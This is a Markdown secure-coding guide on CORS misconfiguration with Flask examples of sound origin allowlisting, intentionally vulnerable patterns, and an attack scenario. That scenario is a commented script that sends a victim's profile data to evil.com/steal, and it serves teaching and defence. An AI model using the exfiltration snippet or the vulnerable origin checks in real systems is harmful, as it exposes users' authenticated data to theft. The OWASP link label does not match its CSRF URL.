17c535bc61
Complete the security patterns collection: - session-management.md: fixation, hijacking, secure cookies, concurrent sessions - cors.md: origin validation, reflected origin attacks, preflight caching - xxe.md: external entities, DTD attacks, language-specific fixes Now 19 patterns covering comprehensive web application security.
184 lines
5.5 KiB
Markdown
184 lines
5.5 KiB
Markdown
# CORS Misconfiguration
|
|
|
|
## Rule
|
|
|
|
Never reflect Origin blindly. Allowlist specific origins. Don't use credentials with wildcards.
|
|
|
|
**Source:** [OWASP CORS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
|
|
|
|
## CORS Basics
|
|
|
|
Browser blocks cross-origin requests by default. CORS headers selectively allow them:
|
|
|
|
| Header | Purpose |
|
|
|--------|---------|
|
|
| `Access-Control-Allow-Origin` | Which origins can access |
|
|
| `Access-Control-Allow-Credentials` | Allow cookies/auth |
|
|
| `Access-Control-Allow-Methods` | Allowed HTTP methods |
|
|
| `Access-Control-Allow-Headers` | Allowed request headers |
|
|
|
|
## Correct Pattern
|
|
|
|
```python
|
|
from flask import Flask, request
|
|
|
|
ALLOWED_ORIGINS = {
|
|
"https://app.example.com",
|
|
"https://admin.example.com",
|
|
}
|
|
|
|
def add_cors_headers(response):
|
|
origin = request.headers.get("Origin")
|
|
|
|
# Validate against allowlist
|
|
if origin in ALLOWED_ORIGINS:
|
|
response.headers["Access-Control-Allow-Origin"] = origin
|
|
response.headers["Access-Control-Allow-Credentials"] = "true"
|
|
response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
|
|
response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
|
|
response.headers["Vary"] = "Origin" # Important for caching!
|
|
|
|
return response
|
|
|
|
# For public APIs without credentials
|
|
def add_public_cors(response):
|
|
response.headers["Access-Control-Allow-Origin"] = "*"
|
|
# Note: credentials CANNOT be used with wildcard
|
|
response.headers["Access-Control-Allow-Methods"] = "GET"
|
|
return response
|
|
|
|
# Handle preflight requests
|
|
@app.route("/api/<path:path>", methods=["OPTIONS"])
|
|
def preflight(path):
|
|
response = make_response()
|
|
return add_cors_headers(response)
|
|
```
|
|
|
|
## Incorrect Pattern
|
|
|
|
```python
|
|
# Wrong: reflect any origin (allows any site to access)
|
|
@app.after_request
|
|
def bad_cors(response):
|
|
origin = request.headers.get("Origin")
|
|
response.headers["Access-Control-Allow-Origin"] = origin # Reflected!
|
|
response.headers["Access-Control-Allow-Credentials"] = "true"
|
|
return response
|
|
# Attack: evil.com can now make authenticated requests
|
|
|
|
# Wrong: wildcard with credentials
|
|
response.headers["Access-Control-Allow-Origin"] = "*"
|
|
response.headers["Access-Control-Allow-Credentials"] = "true"
|
|
# Browser will reject, but shows misunderstanding
|
|
|
|
# Wrong: regex bypass
|
|
def check_origin(origin):
|
|
return origin.endswith(".example.com")
|
|
# Bypassed by: attacker-example.com
|
|
|
|
# Wrong: null origin allowed
|
|
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
|
|
# "null" origin sent by sandboxed iframes, file:// URLs - attacker controlled!
|
|
|
|
# Wrong: substring match
|
|
def check_origin(origin):
|
|
return "example.com" in origin
|
|
# Bypassed by: example.com.evil.com
|
|
```
|
|
|
|
## Origin Validation
|
|
|
|
```python
|
|
from urllib.parse import urlparse
|
|
|
|
ALLOWED_ORIGINS = {"https://app.example.com", "https://admin.example.com"}
|
|
|
|
def is_valid_origin(origin: str) -> bool:
|
|
"""Strict origin validation."""
|
|
if not origin:
|
|
return False
|
|
|
|
# Never allow null
|
|
if origin == "null":
|
|
return False
|
|
|
|
# Exact match against allowlist
|
|
if origin in ALLOWED_ORIGINS:
|
|
return True
|
|
|
|
# If you need subdomain matching, be careful:
|
|
try:
|
|
parsed = urlparse(origin)
|
|
# Must be HTTPS
|
|
if parsed.scheme != "https":
|
|
return False
|
|
|
|
# Exact domain match (not suffix!)
|
|
allowed_domains = {"app.example.com", "admin.example.com"}
|
|
if parsed.netloc in allowed_domains:
|
|
return True
|
|
|
|
# Subdomain of specific parent (careful!)
|
|
if parsed.netloc.endswith(".trusted.example.com"):
|
|
# Verify it's actually a subdomain, not suffix attack
|
|
parts = parsed.netloc.split(".")
|
|
if len(parts) >= 4 and parts[-3:] == ["trusted", "example", "com"]:
|
|
return True
|
|
except Exception:
|
|
return False
|
|
|
|
return False
|
|
```
|
|
|
|
## Attack Scenarios
|
|
|
|
```python
|
|
# Scenario 1: Data theft via reflected origin
|
|
#
|
|
# Vulnerable server reflects any Origin with credentials
|
|
#
|
|
# Attacker's evil.com:
|
|
# <script>
|
|
# fetch("https://api.victim.com/user/profile", {
|
|
# credentials: "include"
|
|
# })
|
|
# .then(r => r.json())
|
|
# .then(data => {
|
|
# // Send stolen data to attacker
|
|
# fetch("https://evil.com/steal?data=" + JSON.stringify(data))
|
|
# })
|
|
# </script>
|
|
|
|
# Scenario 2: CSRF via CORS
|
|
#
|
|
# If CORS allows credentials from evil.com,
|
|
# evil.com can make authenticated state-changing requests
|
|
```
|
|
|
|
## Preflight Caching
|
|
|
|
```python
|
|
@app.after_request
|
|
def cors_headers(response):
|
|
origin = request.headers.get("Origin")
|
|
if origin in ALLOWED_ORIGINS:
|
|
response.headers["Access-Control-Allow-Origin"] = origin
|
|
response.headers["Access-Control-Allow-Credentials"] = "true"
|
|
response.headers["Access-Control-Max-Age"] = "86400" # Cache preflight 24h
|
|
response.headers["Vary"] = "Origin" # CRITICAL for caching
|
|
return response
|
|
|
|
# Why Vary: Origin matters:
|
|
# Without it, CDN might cache response for origin A
|
|
# Then serve that cached response to origin B (wrong ACAO header!)
|
|
```
|
|
|
|
## Edge Cases
|
|
|
|
- WebSocket connections don't use CORS (use Origin header manually)
|
|
- `Access-Control-Expose-Headers` needed for custom response headers
|
|
- Preflight not sent for "simple" requests (GET, POST with basic headers)
|
|
- Internal APIs should still validate Origin (defense in depth)
|
|
- Browser extensions can bypass CORS (not a vulnerability)
|
|
- Server-to-server requests don't involve CORS
|